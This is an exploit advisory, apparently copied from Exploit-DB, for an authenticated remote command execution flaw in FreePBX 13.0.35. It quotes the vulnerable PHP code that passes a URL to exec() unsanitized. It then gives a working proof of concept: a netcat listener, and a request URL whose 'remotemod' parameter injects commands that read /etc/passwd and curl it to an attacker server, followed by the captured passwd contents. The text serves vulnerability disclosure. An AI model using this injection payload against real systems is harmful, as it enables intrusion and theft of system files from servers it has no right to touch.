FreePBX 13.0.35 – Remote Command Execution

  • 作者: 0x4148
    日期: 2016-08-29
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/40296/
  • Vulnerable software : Freepbx
    Tested version : 13.0.35
    vendor : freepbx.org
    Author : Ahmed sultan (0x4148)
    Email : 0x4148@gmail.com
    
    Summary : 
    
    FreePBX is a web-based open source GUI (graphical user interface) that controls and manages Asterisk (PBX), an open source communication server,
    With over 1 MILLION production systems worldwide and 20,000 new systems installed monthly,
    the FreePBX community continues to out-perform the industry's commercial efforts.
    The FreePBX EcoSystem has developed over the past decade to be the most widely deployed open source PBX platform in use across the world.
    
    Vulnerability details :
    
    Freepbx suffer from (Authenticated) remote code execution flaw 
    
    Boring technical stuff
    
    File : functions.inc.php
    
    function get_headers_assoc($url) {
    global $amp_conf;
    if ($amp_conf['MODULEADMINWGET']) {
    FreePBX::Curl()->setEnvVariables();
    exec("wget --spider --server-response -q ".$url." 2>&1", $wgetout, $exitstatus);
    $headers = array();
    if($exitstatus == 0 && !empty($wgetout)) {
    foreach($wgetout as $value) {
    $ar = explode(':', $value);
    $key = trim($ar[0]);
    if(isset($ar[1])) {
    $value = trim($ar[1]);
    $headers[strtolower($key)] = trim($value);
    }
    
    the $url is not being sanitized before being passed to the 'exec' function which lead to Command execution flaw
    The function is being called at
    
    File : libraries/modulefunctions.class.php
    
    Line 1539 : function handledownload($module_location, $progress_callback = null) {
    ...................................................
    // invoke progress callback
    if (!is_array($progress_callback) && function_exists($progress_callback)) {
    $progress_callback('getinfo', array('module'=>$modulename));
    } else if(is_array($progress_callback) && method_exists($progress_callback[0],$progress_callback[1])) {
    $progress_callback[0]->$progress_callback[1]('getinfo', array('module'=>$modulename));
    }
    
    $file = basename($module_location);
    $filename = $amp_conf['AMPWEBROOT']."/admin/modules/_cache/".$file;
    
    // Check each URL until get_headers_assoc() returns something intelligible. We then use
    // that URL and hope the file is there, we won't check others.
    -=>>>>>> $headers = get_headers_assoc($module_location);
    if (empty($headers)) {
    return array(sprintf(_('Failed download module tarball from %s, server may be down'),$module_location));
    } 
    
    the handledownload function is called via the admin panel whenever the page.modules.php file is included
    which can be basically done using admin/config.php?display=modules
    
    File : page.modules.php
    
    Line 174 : switch ($action) {
    ..............................
    Line 643 : case 'upload':
    ..............................
    Line 658 : $displayvars['processed'] = false;
    if (isset($_REQUEST['upload']) && isset($_FILES['uploadmod']) && !empty($_FILES['uploadmod']['name'])) {
    $displayvars['res'] = $modulef->handleupload($_FILES['uploadmod']);
    $displayvars['processed'] = true;
    } elseif (isset($_REQUEST['download']) && !empty($_REQUEST['remotemod'])) {
    $displayvars['res'] = $modulef->handledownload($_REQUEST['remotemod']);
    $displayvars['processed'] = true;
    } elseif(isset($_REQUEST['remotemod'])) {
    $displayvars['res'][] = 'Nothing to download or upload';
    $displayvars['processed'] = true;
    }
    
    the 'remotemod' parameter is passed to exec function without being sanitized , which lead to the mentioned flaw
    
    POC
    
    On attacker's side run nc -lvp 8080
    
    on target's side loginto the panel and then browse to
    
    http://TARGET/admin/config.php?display=modules&action=upload&download=0x4148&remotemod=http://127.0.0.1/junk%26x=$(cat /etc/passwd);curl -d "$x" http://Attacker_server:8080/0x4148.jnk
    
    Result
    
    [0x4148:/lab]# nc -lvp 8080
    listening on [any] 8080 ...
    DNS fwd/rev mismatch: x.x.x.x != xxxxxx.com
    connect to [ATTACKER] from x.x.x.x.x [Target] 45934
    POST //0x4148.jnk HTTP/1.1
    User-Agent: curl/7.19.7 (x86_64-redhat-linux-gnu) libcurl/7.19.7 NSS/3.16.2.3 Basic ECC zlib/1.2.3 libidn/1.18 libssh2/1.4.2
    Host: ATTACKER:8080
    Accept: */*
    Content-Length: 1391
    Content-Type: application/x-www-form-urlencoded
    Expect: 100-continue
    
    root:x:0:0:root:/root:/bin/bash
    bin:x:1:1:bin:/bin:/sbin/nologin
    daemon:x:2:2:daemon:/sbin:/sbin/nologin
    adm:x:3:4:adm:/var/adm:/sbin/nologin
    lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
    sync:x:5:0:sync:/sbin:/bin/sync
    shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
    halt:x:7:0:halt:/sbin:/sbin/halt
    mail:x:8:12:mail:/var/spool/mail:/sbin/nologin
    uucp:x:10:14:uucp:/var/spool/uucp:/sbin/nologin
    operator:x:11:0:operator:/root:/sbin/nologin
    games:x:12:100:games:/usr/games:/sbin/nologin
    gopher:x:13:30:gopher:/var/gopher:/sbin/nologin
    ftp:x:14:50:FTP User:/var/ftp:/sbin/nologin
    nobody:x:99:99:Nobody:/:/sbin/nologin
    dbus:x:81:81:System message bus:/:/sbin/nologin
    vcsa:x:69:69:virtual console memory owner:/dev:/sbin/nologin
    asterisk:x:499:498::/home/asterisk:/bin/bash
    radiusd:x:95:95:radiusd user:/home/radiusd:/sbin/nologin
    mysql:x:27:27:MySQL Server:/var/lib/mysql:/bin/bash
    haldaemon:x:68:68:HAL daemon:/:/sbin/nologin
    openvpn:x:498:497:OpenVPN:/etc/openvpn:/sbin/nologin
    ntp:x:38:38::/etc/ntp:/sbin/nologin
    saslauth:x:497:76:Saslauthd user:/var/empty/saslauth:/sbin/nologin
    postfix:x:89:89::/var/spool/postfix:/sbin/nologin
    apache:x:48:48:Apache:/var/www:/sbin/nologin
    sshd:x:74:74:Privilege-separated SSH:/var/empty/sshd:/sbin/nologin
    avahi:x:70:70:Avahi mDNS/DNS-SD Stack:/var/run/avahi-daemon:/sbin/nologin
    prosody:x:496:495::/var/lib/prosody:/sbin/nologin
    tcpdump:x:72:72::/:/sbin/nologin